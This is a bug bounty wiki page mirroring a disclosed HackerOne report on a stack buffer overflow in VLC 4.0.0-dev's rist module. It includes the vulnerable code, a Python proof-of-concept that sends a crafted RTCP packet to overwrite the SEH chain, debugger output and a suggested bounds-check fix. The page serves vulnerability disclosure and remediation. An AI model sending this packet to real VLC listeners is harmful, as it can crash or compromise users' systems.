Skip to content
Memory corruption Disclosed report Advanced

VLC 4.0.0 - Stack Buffer Overflow (SEH)

The rist module in VLC calculates a buffer length from an RTCP packet field without checking it against the destination buffer size, allowing a stack buffer overflow. An attacker who can send a crafted RTCP packet to a rist listener could overwrite the SEH chain and potentially execute code.

qrayn Follow

Originally disclosed on HackerOne

Bounty$2,817 High View original
  • Disclosed after 12 months

Summary:

Incorrect calculation of Buffer Size in rist module for VLC leading to Stack Overflow with SEH chain overwrite.

The modules/access/rist module has an incorrect calculation of buffer size giving an attacker the possibility to set the buffer size of a local variable by sending a maliciously crafted RTSP packet and overflowing the variable in a proceeding memcpy operation.

Description:

In the static void rtcp_input(...) function a variable new_sender_name is defined with a maximum size of MAX_CNAME (128 bytes). When reading a RTCP_PT_SDES package the length for the memcpy operation is set by the rtcp_sdes_get_name_length(buf) which is taking the 9-10th bit of the buffer and making it possible to change the amount of bytes read into the new_sender_name variable.

rtcp_input(...) (modules/access/rist.c)

/** Sender name is set to max length of MAX_CNAME (128), line: 446 **/
char new_sender_name[MAX_CNAME];

/** name_length is read from the RTSP header, line: 489 **/
int8_t name_length = rtcp_sdes_get_name_length(buf);

/** memcpy new_sender_name with name_length bytes, line: 525 **/
memcpy(new_sender_name, buf + RTCP_SDES_SIZE, name_length);

For this to be exploitable the user has to first actively setup a rist listener using VLC.

Steps To Reproduce:

  1. Open VLC and bind rist on local port: vlc.exe rist://0.0.0.0:8888
  2. Edit IP and port configuration in vlc.py
  3. Execute PoC: ./vlc.py

Supporting Material/References:

Proof of Concept

#!/usr/bin/python
import socket

server = ("192.168.0.23", 8889)
udp = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)

bufsize = "\x80" # Amounts of bytes we want read into new_sender_name (128 bytes)

buf = "\x80"                  # Version and padding
buf += "\xCA"                 # packet type = RTCP_PT_SDES
buf += "\x00\x00"             # Record length
buf += "\x00\x00\x00\x00\x00" # SDES record
buf += bufsize                # Buffer size of name 9-10 bit

# 64 bit
buf += "A" * 232 + "B" * 8 + "C" * 8 + "D" * 200 # Buffer for new_sender_name

# 32 bit
#buf += "A" * 568 + "B" * 4 + "C" * 4 + "D" * 50 # Buffer for new_sender_name

udp.sendto(buf, server)

SEH chain overwrite

0:019> !exchain 100 stack frames, scanning for handlers... Frame 0x01: error getting module for 4242424242424242 Frame 0x02: error getting module for 4343434343434343 Frame 0x03: error getting module for 4444444444444444

0:019> !exchain 3411ff68: 43434343 Invalid exception stack at 42424242

Suggested mitigation

Extended bounds checking on line 490 would mitigate this problem.

Replacing the following code on line 490:

if (name_length > bytes_left)

With an extended bounds check:

if (name_length > bytes_left || name_length >= MAX_CNAME)

Impact

Impact

High implication buffer overflow causing application crash and SEH record overwrite. Explotation plausible depending on system and security setup.

Successful exploitation could lead to remote code execution and full system compromise.

If the user is using rist this vulnerability would be able to execute remotely.

Affected versions

The code seems to have been introduced in a commit on 5th of November 2018 to the 4.0.0-dev branch. Earlier versions seems unaffected by this vulnerability.

The original report as published on HackerOne, by qrayn. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The code reads a name length from the packet and uses it in a memcpy into a fixed-size stack buffer without ensuring the length is less than the buffer size.

Impact

A successful attack could crash the application and overwrite the SEH chain, with remote code execution plausible depending on the system and security setup.

What the attacker needed

VLC running with a rist listener; Attacker can send packets to the listener

The fix

The code should add a bounds check ensuring the name length is less than the maximum buffer size before the copy.

How it was found

  1. Start VLC with a rist listener bound to a local port.
  2. Edit the IP and port in the provided script.
  3. Run the script to send the crafted packet.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A program has a small fixed-size box in memory for a sender name. It reads a length from an incoming network packet and copies that many bytes into the box without checking the length against the box size. Sending a packet with a large length makes the copy spill over into nearby memory, which can crash the program or let an attacker control what happens next.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More from VLC (European Commission - DIGIT)

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.